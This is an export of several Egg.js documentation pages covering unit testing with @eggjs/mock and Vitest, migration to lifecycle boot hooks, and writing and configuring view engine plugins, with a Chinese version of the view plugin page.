### mock

Generally, a complete application test requires initialization and cleanup, such as deleting temporary files or destroy application. Also, we have to deal with exceptional situations like network problem and exception visit of server.

We extracted a dedicated mocking helper package: **`@eggjs/mock`** (historically called **egg-mock**), to help implement application unit tests quickly and to create contexts easily.

* Repo (Egg 3.x): https://github.com/eggjs/mock/tree/4.x
* See also: [Mock Helpers (@eggjs/mock / mm)](./mock.md)

### app

Before launching, we have to create an instance of App to test code of application-level like Controller, Middleware or Service.

We can easily create an app instance with `beforeAll` hook through `@eggjs/mock`.

```ts
// test/controller/home.test.ts
import assert from 'node:assert';
import { mock } from '@eggjs/mock';
import { beforeAll, describe } from 'vitest';

describe('test/controller/home.test.ts', () => {
  let app;
  beforeAll(async () => {
    // create a current app instance
    app = mock.app();
    // execute tests after app is ready
    await app.ready();
  });
});
```

Now, we have an app instance, and it's the base of all the following tests. See more about app at [`mock.app(options)`](https://github.com/eggjs/egg-mock#options).

It's redundancy to create an instance in each test file, so we offered a bootstrap file in `@eggjs/mock` to create it conveniently.

```ts
// test/controller/home.test.ts
import { app, mock } from '@eggjs/mock/bootstrap';
import assert from 'node:assert';

describe('test/controller/home.test.ts', () => {
  // test cases
});
```

> **Note:** When using egg-bin, `@eggjs/mock/setup_vitest` is automatically injected as a vitest setup file for egg applications. It handles `beforeAll` (app startup), `afterEach` (mock restore), and `afterAll` (app close) automatically.

### ctx

Except app, tests for Extend, Service and Helper are also taken into consideration. Let's create a context through [`app.mockContext(options)`](https://github.com/eggjs/egg-mock#appmockcontextoptions) offered by `@eggjs/mock`.

```ts
it('should get a ctx', () => {
  const ctx = app.mockContext();
  assert(ctx.method === 'GET');
  assert(ctx.url === '/');
});
```

If we want to mock the data for `ctx.user`, we can do that by passing the data parameter to mockContext:

```ts
it('should mock ctx.user', () => {
  const ctx = app.mockContext({
    user: {
      name: 'fengmk2',
    },
  });
  assert(ctx.user);
  assert(ctx.user.name === 'fengmk2');
});
```

Since we have got the app and the context, you are free to do a lot of tests.

## Testing Order

Pay close attention to testing order, and make sure any chunk of code is executed as you expected.

Common Error:

```ts
// Bad
import { app } from '@eggjs/mock/bootstrap';

describe('bad test', () => {
  doSomethingBefore();

  it('should redirect', () => {
    return app.httpRequest().get('/').expect(302);
  });
});
```

The test framework loads all the code in the beginning, which means `doSomethingBefore` would be invoked before execution. It's not expected when especially using 'only' to specify the test.

It's supposed to locate in a `beforeAll` hook in the suite of a particular test case.

```ts
// Good
import { app } from '@eggjs/mock/bootstrap';

describe('good test', () => {
  beforeAll(() => doSomethingBefore());

  it('should redirect', () => {
    return app.httpRequest().get('/').expect(302);
  });
});
```

Vitest provides `beforeAll`, `afterAll`, `beforeEach` and `afterEach` to set up preconditions and clean-up after your tests. These keywords could be multiple and execute in strict order.

```ts
describe('egg test', () => {
  beforeAll(() => console.log('order 1'));
  beforeAll(() => console.log('order 2'));
  afterAll(() => console.log('order 6'));
  beforeEach(() => console.log('order 3'));
  afterEach(() => console.log('order 5'));
  it('should worker', () => console.log('order 4'));
});
```

## Asynchronous Test

egg-bin supports asynchronous test:

```js
// using Promise
it('should redirect', () => {
  return app.httpRequest().get('/').expect(302);
});

// using callback
it('should redirect', (done) => {
  app.httpRequest().get('/').expect(302, done);
});

// using async
it('should redirect', async () => {
  await app.httpRequest().get('/').expect(302);
});
```

According to specific situation, you could make different choice of these ways. Multiple asynchronous test cases could be composed to one test with async function, or divided into several independent tests.

## Controller Test

It's the tough part of all application tests, since it's closely related to router configuration. We need use `app.httpRequest()` to return a real instance [SuperTest](https://github.com/visionmedia/supertest), which connects Router and Controller and could also help us to examine param verification of Router by loading boundary conditions. `app.httpRequest()` is a request instance [SuperTest](https://github.com/visionmedia/supertest) which is encapsulated by [egg-mock](https://github.com/eggjs/egg-mock).

Here is an `app/controller/home.js` example.

```js
// app/router.js
module.exports = (app) => {
  const { router, controller } = app;
  router.get('homepage', '/', controller.home.index);
};

// app/controller/home.js
class HomeController extends Controller {
  async index() {
    this.ctx.body = 'hello world';
  }
}
```

Then a test.

```ts
// test/controller/home.test.ts
import { app } from '@eggjs/mock/bootstrap';
import assert from 'node:assert';

describe('test/controller/home.test.ts', () => {
  describe('GET /', () => {
    it('should status 200 and get the body', () => {
      // load `GET /` request
      return app.httpRequest()
        .get('/')
        .expect(200) // set expectation of status to 200
        .expect('hello world'); // set expectation of body to 'hello world'
    });

    it('should send multi requests', async () => {
      await app.httpRequest()
        .get('/')
        .expect(200)
        .expect('hello world'); // set expectation of body to 'hello world'

      // once more
      const result = await app.httpRequest()
        .get('/')
        .expect(200)
        .expect('hello world');

      // verify via assert
      assert(result.status === 200);
    });
  });
});
```

`app.httpRequest` based on SuperTest supports a majority of HTTP methods such as GET, POST, PUT, and it provides rich interfaces to construct request, such as a JSON POST request.

```ts
// app/controller/home.js
class HomeController extends Controller {
  async post() {
    this.ctx.body = this.ctx.request.body;
  }
}

// test/controller/home.test.ts
it('should status 200 and get the request body', () => {
  // mock CSRF token, explain later
  app.mockCsrf();
  return app
    .httpRequest()
    .post('/post')
    .type('form')
    .send({
      foo: 'bar',
    })
    .expect(200)
    .expect({
      foo: 'bar',
    });
});
```

See details at [SuperTest Document](https://github.com/visionmedia/supertest#getting-started).

### mock CSRF

The security plugin of framework would enable [CSRF prevention](./security.md#csrf-prevention) as default. Typically, tests have to precede with a request of page in order to parse CSRF token from the response, and then use the token in later POST requests. But egg-mock provides the `app.mockCsrf()` function to skip the verification of the CSRF token of requests sent by SuperTest.

```js
app.mockCsrf();
return app
  .httpRequest()
  .post('/post')
  .type('form')
  .send({
    foo: 'bar',
  })
  .expect(200)
  .expect({
    foo: 'bar',
  });
```

## Service Test

Service is easier to test than Controller. We need to create a ctx, and then get the instance of Service via `ctx.service.${serviceName}`, and then use the instance to test.

For example:

```js
// app/service/user.js
class UserService extends Service {
  async get(name) {
    return await userDatabase.get(name);
  }
}
```

And a test:

```js
describe('get()', () => {
  // using generator function because of asynchronous invoking
  it('should get exists user', async () => {
    // create ctx
    const ctx = app.mockContext();
    // get service.user via ctx
    const user = await ctx.service.user.get('fengmk2');
    assert(user);
    assert(user.name === 'fengmk2');
  });

  it('should get null when user not exists', async () => {
    const ctx = app.mockContext();
    const user = await ctx.service.user.get('fengmk1');
    assert(!user);
  });
});
```

Of course it's just a sample, actual code would probably be more complicated.

## Extend Test

It's extendable of Application, Request, Response and Context as well as Helper, and we are able to write specific test cases for extended functions or properties.

### Application

When an app instance is created by egg-mock, the extended functions and properties are already available on the instance and can be tested directly.

For example, we extend the application in `app/extend/application` to support cache based on [ylru](https://github.com/node-modules/ylru).

```js
const LRU = Symbol('Application#lru');
const LRUCache = require('ylru');
module.exports = {
  get lru() {
    if (!this[LRU]) {
      this[LRU] = new LRUCache(1000);
    }
    return this[LRU];
  },
};
```

A corresponding test:

```js
describe('get lru', () => {
  it('should get a lru and it work', () => {
    // set cache
    app.lru.set('foo', 'bar');
    // get cache
    assert(app.lru.get('foo') === 'bar');
  });
});
```

As you can see, it's easy.

### Context

Compared to Application, you need only one more step for Context tests, which is to create an Context instance via `app.mockContext`.

Such as adding a property named `isXHR` to `app/extend/context.js` to present whether or not the request was submitted via [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest/setRequestHeader).

```js
module.exports = {
  get isXHR() {
    return this.get('X-Requested-With') === 'XMLHttpRequest';
  },
};
```

A corresponding test:

```js
describe('isXHR()', () => {
  it('should true', () => {
    const ctx = app.mockContext({
      headers: {
        'X-Requested-With': 'XMLHttpRequest',
      },
    });
    assert(ctx.isXHR === true);
  });

  it('should false', () => {
    const ctx = app.mockContext({
      headers: {
        'X-Requested-With': 'SuperAgent',
      },
    });
    assert(ctx.isXHR === false);
  });
});
```

### Request

Extended properties and function are available on `ctx.request`, so they can be tested directly.

For example, provide a `isChrome` property to `app/extend/request.js` to verify requests whether they are from Chrome or not.

```js
const IS_CHROME = Symbol('Request#isChrome');
module.exports = {
  get isChrome() {
    if (!this[IS_CHROME]) {
      const ua = this.get('User-Agent').toLowerCase();
      this[IS_CHROME] = ua.includes('chrome/');
    }
    return this[IS_CHROME];
  },
};
```

A corresponding test:

```js
describe('isChrome()', () => {
  it('should true', () => {
    const ctx = app.mockContext({
      headers: {
        'User-Agent': 'Chrome/56.0.2924.51',
      },
    });
    assert(ctx.request.isChrome === true);
  });

  it('should false', () => {
    const ctx = app.mockContext({
      headers: {
        'User-Agent': 'FireFox/1',
      },
    });
    assert(ctx.request.isChrome === false);
  });
});
```

### Response

Identical with Request, Response test could be based on `ctx.response` directly, accessing all the extended functions and properties.

For example, provide an `isSuccess` property to indicate current status code equal to 200 or not.

```js
module.exports = {
  get isSuccess() {
    return this.status === 200;
  },
};
```

The corresponding test:

```js
describe('isSuccess()', () => {
  it('should true', () => {
    const ctx = app.mockContext();
    ctx.status = 200;
    assert(ctx.response.isSuccess === true);
  });

  it('should false', () => {
    const ctx = app.mockContext();
    ctx.status = 404;
    assert(ctx.response.isSuccess === false);
  });
});
```

### Helper

Similar to Service, Helper is available on ctx, which can be tested directly.

Such as `app/extend/helper.js`:

```js
module.exports = {
  money(val) {
    const lang = this.ctx.get('Accept-Language');
    if (lang.includes('zh-CN')) {
      return `￥ ${val}`;
    }
    return `$ ${val}`;
  },
};
```

A corresponding test:

```js
describe('money()', () => {
  it('should RMB', () => {
    const ctx = app.mockContext({
      // mock headers of ctx
      headers: {
        'Accept-Language': 'zh-CN,zh;q=0.5',
      },
    });
    assert(ctx.helper.money(100) === '￥ 100');
  });

  it('should US Dolar', () => {
    const ctx = app.mockContext();
    assert(ctx.helper.money(100) === '$ 100');
  });
});
```

## Mock Function

Except functions mentioned above, like `app.mockContext()` and `app.mockCsrf()`, egg-mock provides [quite a few mocking functions](https://github.com/eggjs/egg-mock#api) to make writing tests easier.

* To prevent console logs through `mock.consoleLevel('NONE')`
* To mock session data through `app.mockSession(data)`

```js
describe('GET /session', () => {
  it('should mock session work', () => {
    app.mockSession({
      foo: 'bar',
      uid: 123,
    });
    return app
      .httpRequest()
      .get('/session')
      .expect(200)
      .expect({
        session: {
          foo: 'bar',
          uid: 123,
        },
      });
  });
});
```

Remember to restore mock data in an `afterEach` hook, otherwise it would take effect with all the tests that supposed to be independent to each other.

```ts
describe('some test', () => {
  // beforeAll hook

  afterEach(() => mock.restore());

  // it tests
});
```

**When using egg-bin, `@eggjs/mock/setup_vitest` is automatically injected, which resets all mocks in an `afterEach` hook. You don't need to write this code manually.**

The following will describe the common usage of egg-mock.

### Mock Properties And Functions

Egg-mock is extended from [mm](https://github.com/node-modules/mm) module which contains full features of mm, so we can directly mock any objects' properties and functions.

#### Mock Properties

Mock `app.config.baseDir` to return a given value - `/tmp/mockapp`.

```js
mock(app.config, 'baseDir', '/tmp/mockapp');
assert(app.config.baseDir === '/tmp/mockapp');
```

#### Mock Functions

Mock `fs.readFileSync` to return a given function.

```js
mock(fs, 'readFileSync', (filename) => {
  return 'hello world';
});
assert(fs.readFileSync('foo.txt') === 'hello world');
```

See more detail in [mm API](https://github.com/node-modules/mm#api), include advanced usage like `mock.data()`，`mock.error()` and so on.

### Mock Service

Service is a standard built-in member of the framework, `app.mockService(service, methodName, fn)` is offered to conveniently mock its result.

For example, mock the method `get(name)` in `app/service/user` to return a nonexistent user.

```js
it('should mock fengmk1 exists', () => {
  app.mockService('user', 'get', () => {
    return {
      name: 'fengmk1',
    };
  });

  return (
    app
      .httpRequest()
      .get('/user?name=fengmk1')
      .expect(200)
      // return an originally nonexistent user
      .expect({
        name: 'fengmk1',
      })
  );
});
```

Using `app.mockServiceError(service, methodName, error)` to mock exception.

For example, mock the method `get(name)` in `app/service/user` to throw an exception.

```js
it('should mock service error', () => {
  app.mockServiceError('user', 'get', 'mock user service error');
  return (
    app
      .httpRequest()
      .get('/user?name=fengmk2')
      // service exception causing the 500 status code
      .expect(500)
      .expect(/mock user service error/)
  );
});
```

### Mock HttpClient

External HTTP requests should be performed though [HttpClient](./httpclient.md), a built-in member of Egg, and `app.mockHttpclient(url, method, data)` is able to simulate various network exceptions of requests performed by `app.curl` and `ctx.curl`.

For example, we submit a request in `app/controller/home.js`.

```js
class HomeController extends Controller {
  async httpclient() {
    const res = await this.ctx.curl('https://eggjs.org');
    this.ctx.body = res.data.toString();
  }
}
```

Then mock it's response.

```js
describe('GET /httpclient', () => {
  it('should mock httpclient response', () => {
    app.mockHttpclient('https://eggjs.org', {
      // parameter allowed to be a buffer / string / json,
      // will be finally converted to buffer
      // according to options.dataType
      data: 'mock eggjs.org response',
    });
    return app
      .httpRequest()
      .get('/httpclient')
      .expect('mock eggjs.org response');
  });
});
```

## Sample Code

All sample code can be found in [eggjs/exmaples/unittest](https://github.com/eggjs/examples/blob/master/unittest)

---

---
url: /basics/unittest.md
---

# Unit Testing

Unit testing is an important part of application development. Egg provides comprehensive testing support through the `@eggjs/mock` package and [Vitest](https://vitest.dev) as the test runner (via `@eggjs/bin` v8+).

## Quick Start

```ts
import { app } from '@eggjs/mock/bootstrap';
import assert from 'node:assert';

describe('test/app/controller/home.test.ts', () => {
  it('should GET /', async () => {
    const result = await app.httpRequest().get('/').expect(200);

    assert(result.text === 'hi, egg');
  });
});
```

## Testing Tools

* **@eggjs/mock**: Provides mocking utilities for testing
* **vitest**: Test runner with native TypeScript support (used internally by egg-bin)
* **supertest**: HTTP assertion library
* **assert**: Node.js assertion library

## egg-bin Test Features

When running tests via `egg-bin test`, the following are configured automatically:

* **Vitest globals** (`describe`, `it`, `beforeAll`, etc.) are injected — no imports needed in JS files
* **`test/.setup.ts`** (or `.setup.js`) is auto-loaded as a vitest setup file
* **`@eggjs/mock/setup_vitest`** is auto-injected for egg applications, handling app lifecycle (`beforeAll` / `afterEach` / `afterAll`)

For comprehensive unit testing documentation, please see:

* [Core Unit Testing Guide](/core/unittest)
* [Chinese Documentation](/zh-CN/basics/unittest)

---

---
url: /basics/mcpcontroller.md
---


---

---
url: /zh-CN.md
---

## 我们正在招聘!

Egg.js 正在招聘优秀的开发者。[了解更多 →](https://zhuanlan.zhihu.com/p/598748057)

---

---
url: /advanced/loader-update.md
---

We've simplified the functions of our lifecycle for your convenience to control when to load application or plugins. Generally speaking, the lifecycle events can be divided into two forms:

1. Function (already deprecated, just for compatibility).
2. Class Method (recommanded).

## Replacer for `beforeStart`

We usually handle `beforeStart` through `module.export` with the input parameter `app` in the app.js.
Take this as an example below:

```js
module.exports = (app) => {
  app.beforeStart(async () => {
    // Here's where your codes were before
  });
};
```

Now we've got some changes after upgration: We can use methods in a class in `app.js`. For application, we should write in the `WillReady`, for plugins, `didLoad` is our choice. They look like below:

```js
// app.js or agent.js:
class AppBootHook {
  constructor(app) {
    this.app = app;
  }

  async didLoad() {
    // Please put your codes of `app.beforeStart` here for your plugin
  }

  async willReady() {
    // Please put your codes of `app.beforeStart` here for your application
  }
}

module.exports = AppBootHook;
```

## Replacer for `ready`

We used to process our logic in `app.ready`:

```js
module.exports = (app) => {
  app.ready(async () => {
    // Here's where your codes were before
  });
};
```

Now `didReady` takes the place of it:

```js
// app.js or agent.js:
class AppBootHook {
  constructor(app) {
    this.app = app;
  }

  async didReady() {
    // Please put your codes of `app.ready` here
  }
}

module.exports = AppBootHook;
```

## Replacer for `beforeClose`

We used to handle `app.beforeClose` like this following:

```js
module.exports = (app) => {
  app.beforeClose(async () => {
    // Here's where your codes were before
  });
};
```

Now we can use `beforeClose` instead of it:

```js
// app.js or agent.js:
class AppBootHook {
  constructor(app) {
    this.app = app;
  }

  async beforeClose() {
    // Please put your codes of `app.beforeClose` here
  }
}
```

## Others

In order to let you pick up quickly to replace your old functions, this torturial only tells you how to replace item by item. So if you want to know more about the whole principle of `Loader`, as well as all the functions of Egg's lifecycle, Please refer to [Loader](./loader.md) and [Application Startup Configuration](../basics/app-start.md).

---

---
url: /advanced/view-plugin.md
---

In most cases, we need to read the data, render the template and then present it to the user. The framework does not force to use one template engine, but allows developers to select the [template](../core/view.md) by themselves. For details, see [Template Rendering](../core/view.md).

This article describes the framework's specification constraints on the View plugin, and we can use this to encapsulate the corresponding template engine plugin. The following takes [egg-view-ejs] as an example.

## Plugin Directory Structure

```bash
egg-view-ejs
├── config
│ ├── config.default.js
│ └── config.local.js
├── lib
│ └── view.js
├── app.js
├── test
├── History.md
├── README.md
└── package.json
```

## Plugin Naming Convention

* Follow the [plugin development specification](./plugin.md)
* According to the convention, the names of plugins start with `egg-view-`
* `package.json` is configured as follows. Plugins are named after the template engine, such as ejs

```json
{
  "name": "egg-view-ejs",
  "eggPlugin": {
    "name": "ejs"
  },
  "keywords": ["egg", "egg-plugin", "egg-view", "ejs"]
}
```

* The configuration item is also named after the template engine

```js
// config/config.default.js
module.exports = {
  ejs: {},
};
```

## View Base Class

The next step is to provide a View base class that will be instantiated on each request.

The base class of the View needs to provide `render` and `renderString` methods and supports generator and async functions (it can also be a function that returns a Promise). The `render` method is used to render files, and the `renderString` method is used to render template strings.

The following is a simplified code that can be directly [view source](https://github.com/eggjs/egg-view-ejs/blob/master/lib/view.js)

```js
const ejs = require('ejs');

Mmdule.exports = class EjsView {
  render(filename, locals, viewOptions) {
    const config = Object.assign({}, this.config, viewOptions, { filename });

    return new Promise((resolve, reject) => {
      // Asynchronous API call
      ejs.renderFile(filename, locals, config, (err, result) => {
        if (err) {
          reject(err);
        } else {
          resolve(result);
        }
      });
    });
  }

  renderString(tpl, locals, viewOptions) {
    const config = Object.assign({}, this.config, viewOptions, { cache: null });
    try {
      // Synchronous API call
      return Promise.resolve(ejs.render(tpl, locals, config));
    } catch (err) {
      return Promise.reject(err);
    }
  }
};
```

### Parameters

The three parameters of the `render` method are:

* `filename`: is the path to the complete file. The framework determines if the file exists when looking for the file. It does not need to be processed here.
* `locals`: The data needs rendering. It comes from `app.locals`, `ctx.locals` and calls `render` methods. The framework also has built in `ctx`, `request`, `ctx.helper` objects.
* `viewOptions`: The incoming configuration of the user, which can override the default configuration of the template engine. This can be considered based on the characteristics of the template engine. For example, the cache is enabled by default but a page does not need to be cached.

The three parameters of the `renderString` method:

* `tpl`: template string, not file path.
* `locals`: same with `render`.
* `viewOptions`: same with `render`.

## Plugin Configuration

According to the naming conventions mentioned above, the configuration name is generally the name of the template engine, such as ejs.

The configuration of the plugin mainly comes from the configuration of the template engine, and the configuration items can be defined according to the specific conditions, such as the [configuration of ejs](https://github.com/mde/ejs#options).

```js
// config/config.default.js
module.exports = {
  ejs: {
    cache: true,
  },
};
```

### Helper

The framework provides `ctx.helper` for developer use, but in some cases we want to override the helper method and only take effect when the template is rendered.

In template rendering, we often need to output a user-supplied html fragment, in which case, we often use the `helper.shtml` provided by the `@eggjs/security` plugin.

```html
<div>{{ helper.shtml(data.content) | safe }}</div>
```

However, as shown in the code above, we need to use `| safe` to tell the template engine that the html is safe and it doesn't need to run `escape` again.

This is more cumbersome to use and easy to forget, so we can package it:

* First provide a helper subclass:

```js
// {plugin_root}/lib/helper.js
module.exports = (app) => {
  return class ViewHelper extends app.Helper {
    // safe is injected by [egg-view-nunjucks] and will not be escaped during rendering.
    // Otherwise, the template call shtml will be escaped
    shtml(str) {
      return this.safe(super.shtml(str));
    }
  };
};
```

* Use a custom helper when rendering:

```js
// {plugin_root}/lib/view.js
const ViewHelper = require('./helper');

module.exports = class MyCustomView {
  render(filename, locals) {
    locals.helper = new ViewHelper(this.ctx); // call Nunjucks render
  }
};
```

You can [view](https://github.com/eggjs/egg-view-nunjucks/blob/2ee5ee992cfd95bc0bb5b822fbd72a6778edb118/lib/view.js#L11) the specific code here

### Security Related

Templates and security are related and [@eggjs/security] also provides some methods for the template. The template engine can be used according to requirements.

First declare a dependency on [@eggjs/security]:

```json
{
  "name": "egg-view-nunjucks",
  "eggPlugin": {
    "name": "nunjucks",
    "dep": ["security"]
  }
}
```

Besides, the framework provides [app.injectCsrf](../core/security.md#appinjectcsrfstr) and [app.injectNonce](../core/security.md#appinjectnonncestr), for more information on [security section](../core/security.md).

### Unit Tests

As a high-quality plugin, perfect unit testing is indispensable, and we also provide lots of auxiliary tools to make it painless for plugin developers to write tests with, see [unit testing](../core/unittest.md) and [plugin](./plugin.md) docs.

[@eggjs/security]: https://github.com/eggjs/security

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

[egg-view-ejs]: https://github.com/eggjs/egg-view-ejs

---

---
url: /core/view.md
---

In most cases, we need to fetch data and render with template files.
So we need to use corresponding view engines.

[egg-view] is a built-in plugin to support using multiple view engines in one application.
All view engines are imported as plugins.
With [egg-view] developers can use the same API interface to work with different view engines.
See [View Plugin](../advanced/view-plugin.md) for more details.

Take the officially supported View plugin [egg-view-nunjucks] as an example:

### Installing View Engine Plugin

```bash
$ npm i egg-view-nunjucks --save
```

### Enabling View Engine Plugin

```js
// config/plugin.js
exports.nunjucks = {
  enable: true,
  package: 'egg-view-nunjucks',
};
```

## Configuring View Plugins

[egg-view] defines the default configuration of `config.view`

### root {String}

Root directory for template files is absolute path, with default value `${baseDir}/app/view`.

[egg-view] supports having multiple directories, which are separated by `,`.
In this case, it looks for template files from all the directories.

The configuration below is an example of multiple view directories:

```js
// config/config.default.js
const path = require('path');
module.exports = (appInfo) => {
  const config = {};
  config.view = {
    root: [
      path.join(appInfo.baseDir, 'app/view'),
      path.join(appInfo.baseDir, 'path/to/another'),
    ].join(','),
  };
  return config;
};
```

### cache {Boolean}

Cache template file paths, default value is `true`.
[egg-view] looks for template files from the directories that defined in `root`.
When a file matching given template path is found, the file's full path will be cached
and reused afterward.
[egg-view] won't search all directories again for the same template path.

### `mapping` and `defaultViewEngine`

Every view engine has a view engine name defined when the plugin is enabled.
In view configuration, `mapping` defines the mapping
from template file's extension name to view engine name.
For example, use Nunjucks engine to render `.nj` files.

```js
module.exports = {
  view: {
    mapping: {
      '.nj': 'nunjucks',
    },
  },
};
```

[egg-view] uses the corresponding view engine according to the configuration above.

```js
await ctx.render('home.nj');
```

The mapping from file extension name to view engine must be defined.
Otherwise [egg-view] cannot find correct view engine.
Global configuration can be done with `defaultViewEngine`.

```js
// config/config.default.js
module.exports = {
  view: {
    defaultViewEngine: 'nunjucks',
  },
};
```

If a view engine cannot be found according to specified mapping,
the default view engine will be used.
For the applications that use only one view engine,
it's recommended to set this option.

### `defaultExtension`

When calling `render()`, the first argument should contain file extension name,
unless `defaultExtension` has been configured.

```js
// config/config.default.js
module.exports = {
  view: {
    defaultExtension: '.nj',
  },
};

// render app/view/home.nj
await ctx.render('home');
```

## Rendering Page

[egg-view] provides three interfaces in Context.
All three returns a Promise:

* `render(name, locals)` renders template file, and set the value to `ctx.body`.
* `renderView(name, locals)` renders template file, returns the result and don't set the value to any variable.
* `renderString(tpl, locals)` renders template string, returns the result and don't set the value to any variable.

```js
// {app_root}/app/controller/home.js
class HomeController extends Controller {
  async index() {
    const data = { name: 'egg' };

    // render a template, path relate to `app/view`
    await ctx.render('home/index.tpl', data);

    // or manually set render result to ctx.body
    ctx.body = await ctx.renderView('path/to/file.tpl', data);

    // or render string directly
    ctx.body = await ctx.renderString('hi, {{ name }}', data, {
      viewEngine: 'nunjucks',
    });
  }
}
```

When calling `renderString`, view engine should be specified unless `defaultViewEngine` has been defined.

## `locals`

In the process of rendering pages, we usually need a variable to contain all information that is used in view template. [egg-view] provides `app.locals` and `ctx.locals`.

* `app.locals` is global, usually configured in `app.js`.
* `ctx.locals` is per-request, and it merges `app.locals`.
* `ctx.locals` can be assigned by modifying key/value or assigned with a new object. [egg-view] will merge the new object automatically in corresponding setter.

```js
// `app.locals` merged into `ctx.locals`
ctx.app.locals = { a: 1 };
ctx.locals.b = 2;
console.log(ctx.locals); // { a: 1, b: 2 }

// in the processing of a request, `app.locals` is merged into `ctx.locals` only at the first time `ctx.locals` being accessed
ctx.app.locals = { a: 2 };
console.log(ctx.locals); // already merged before, so output is still { a: 1, b: 2 }

// pass a new object to `locals`. New object will be merged into `locals`, instead of replacing it. It's done by setter automatically.
ctx.locals.c = 3;
ctx.locals = { d: 4 };
console.log(ctx.locals); // { a: 1, b: 2, c: 3, d: 4 }
```

In practical development, we usually don't use these two objects in controller directly.
Instead, simply call `ctx.render(name, data)`:

* [egg-view] merges `data` into `ctx.locals` automatically.
* [egg-view] injects `ctx`, `request`, `helper` into locals automatically.

```js
ctx.app.locals = { appName: 'showcase' };
const data = { name: 'egg' };

// will auto merge `data` to `ctx.locals`, output: egg - showcase
await ctx.renderString('{{ name }} - {{ appName }}', data);

// helper, ctx, request will auto inject
await ctx.renderString(
  '{{ name }} - {{ helper.lowercaseFirst(ctx.app.config.baseDir) }}',
  data,
);
```

Note:

* **ctx.locals is cached. app.locals is merged into it only at the first time that ctx.locals is accessed.**
* due to the ambiguity of naming, the `ctx.state` that is used in Koa is replaced by `ctx.locals` in Egg.js, i.e. `ctx.state` and `ctx.locals` are equivalent. It's recommended to use the latter.

## Helper

All functions that defined in `helper` can be directly used in templates.
See [Extend](../basics/extend.md) for more details.

```js
// app/extend/helper.js
exports.lowercaseFirst = (str) => str[0].toLowerCase() + str.substring(1);

// app/controller/home.js
await ctx.renderString('{{ helper.lowercaseFirst(name) }}', data);
```

## Security

The built-in plugin [@eggjs/security] provides common security helper functions, including `helper.shtml / surl / sjs` and so on. It's strongly recommended to read [Security](./security.md).

[@eggjs/security]: https://github.com/eggjs/security

[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks

[egg-view]: https://github.com/eggjs/view

---

---
url: /zh-CN/advanced/view-plugin.md
---
# View 插件开发

绝大多数情况下，我们都需要读取数据后渲染模板，然后呈现给用户。框架并不强制使用某种模板引擎，由开发者自行选型，具体参见[模板渲染](../core/view.md)。

本文将阐述框架对 View 插件的规范约束。我们可以依此来封装对应的模板引擎插件。以下以 [egg-view-ejs](https://github.com/eggjs/egg-view-ejs) 为例。

## 插件目录结构

```bash
egg-view-ejs
├── config
│   ├── config.default.js
│   └── config.local.js
├── lib
│   └── view.js
├── app.js
├── test
├── History.md
├── README.md
└── package.json
```

## 插件命名规范

* 遵循[插件开发规范](./plugin.md)。
* 插件命名约定以 `egg-view-` 开头。
* `package.json` 的配置如下，插件名以模板引擎命名，例如 ejs：

```json
{
  "name": "egg-view-ejs",
  "eggPlugin": {
    "name": "ejs"
  },
  "keywords": ["egg", "egg-plugin", "egg-view", "ejs"]
}
```

* 配置项也以模板引擎命名：

```js
// config/config.default.js
exports.ejs = {};
```

## View 基类

接下来需提供一个 View 基类，这个类会在每次请求时实例化。

View 基类需要提供 `render` 和 `renderString` 两个方法，支持 generator function 和 async function（也可以是函数返回一个 Promise）。`render` 方法用于渲染文件，而 `renderString` 方法用于渲染模板字符串。

以下为简化代码，您可以直接[查看源码](https://github.com/eggjs/egg-view-ejs/blob/master/lib/view.js)：

```js
const ejs = require('ejs');

Mmdule.exports = class EjsView {
  render(filename, locals, viewOptions) {
    const config = Object.assign({}, this.config, viewOptions, { filename });

    return new Promise((resolve, reject) => {
      // 异步调用 API
      ejs.renderFile(filename, locals, config, (err, result) => {
        if (err) {
          reject(err);
        } else {
          resolve(result);
        }
      });
    });
  }

  renderString(tpl, locals, viewOptions) {
    const config = Object.assign({}, this.config, viewOptions, { cache: null });
    try {
      // 同步调用 API
      return Promise.resolve(ejs.render(tpl, locals, config));
    } catch (err) {
      return Promise.reject(err);
    }
  }
};
```

### 参数

`render` 方法的参数：

* `filename`：是完整文件路径，框架查找文件时已确认文件是否存在，因此这里不需要处理。
* `locals`：渲染所需数据，来源包括 `app.locals`、`ctx.locals` 以及调用 `render` 方法传入的数据。框架还内置了 `ctx`、`request` 和 `ctx.helper` 这几个对象。
* `viewOptions`：用户传入的配置，可以覆盖模板引擎的默认配置。这个可根据模板引擎的特征考虑是否支持。例如，默认开启了缓存，而某个页面不需要缓存。

`renderString` 方法的三个参数：

* `tpl`: 模板字符串，没有文件路径。
* `locals`: 同 `render`。
* `viewOptions`: 同 `render`。

## 插件配置

根据上述的命名约定，配置名通常为模板引擎的名称，例如 ejs。

插件的配置主要来源于模板引擎的配置，可根据具体情况定义配置项目，如 [ejs 的配置](https://github.com/mde/ejs#options)。

```js
// config/config.default.js
module.exports = {
  ejs: {
    cache: true,
  },
};
```

### helper

框架本身提供了 `ctx.helper` 供开发者使用。但在某些情况下，我们希望覆盖 helper 方法，使其仅在模板渲染时生效。

在模板渲染中，我们经常需要输出用户提供的 HTML 片段，这通常需要使用 `@eggjs/security` 插件提供的 `helper.shtml` 方法进行清洗：

```html
<div>{{ helper.shtml(data.content) | safe }}</div>
```

但如上所示，我们需要加上 `| safe` 来告知模板引擎，该 HTML 是安全的，无需再次 `escape`，可以直接渲染。

这样使用起来比较繁琐，而且容易忘记。所以，我们可以进行封装：

* 首先提供一个 helper 子类：

```js
// {plugin_root}/lib/helper.js
module.exports = (app) => {
  return class ViewHelper extends app.Helper {
    // `safe` 是由 [egg-view-nunjucks] 注入的，在渲染时不会进行转义。
    // 否则在模板调用 `shtml` 时，内容会被转义。
    shtml(str) {
      return this.safe(super.shtml(str));
    }
  };
};
```

* 在渲染时使用我们自定义的 helper：

```js
// {plugin_root}/lib/view.js
const ViewHelper = require('./helper');

module.exports = class MyCustomView {
  render(filename, locals) {
    locals.helper = new ViewHelper(this.ctx);

    // 调用 Nunjucks 的 render 方法
  }
};
```

具体代码可以在[这里](https://github.com/eggjs/egg-view-nunjucks/blob/2ee5ee992cfd95bc0bb5b822fbd72a6778edb118/lib/view.js#L11)查看。

### 安全相关

模板与安全密不可分。[@eggjs/security] 也为模板提供了一些方法。模板引擎可以根据需求使用这些方法。

首先声明对 [@eggjs/security] 的依赖：

```json
{
  "name": "egg-view-nunjucks",
  "eggPlugin": {
    "name": "nunjucks",
    "dep": ["security"]
  }
}
```

